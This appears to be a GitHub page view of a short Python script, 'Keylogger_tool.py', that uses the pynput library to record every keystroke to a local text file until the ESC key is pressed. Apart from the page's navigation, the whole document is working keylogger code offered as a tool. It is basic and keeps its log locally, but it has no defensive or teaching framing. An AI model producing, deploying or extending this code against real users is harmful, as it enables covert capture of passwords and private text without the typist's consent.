-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKeylogger_tool.py
More file actions
28 lines (23 loc) · 919 Bytes
/
Copy pathKeylogger_tool.py
File metadata and controls
28 lines (23 loc) · 919 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pynput import keyboard
# File where keystrokes will be saved
log_file = "D:/Python materials/python practice/kl/keylog.txt"
# Function that runs every time a key is pressed
def on_press(key):
try:
# Try to get the character for normal keys
with open(log_file, "a") as f:
f.write(f"{key.char}")
except AttributeError:
# If it's a special key (like space, enter, etc.), write it in brackets
with open(log_file, "a") as f:
f.write(f"[{key}]")
# Function that runs every time a key is released
def on_release(key):
if key == keyboard.Key.esc:
# Stop listener if ESC key is pressed
print("ESC key pressed. Exiting keylogger.")
return False
# Setup the keyboard listener
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
# Written by: Gowsik Raja.S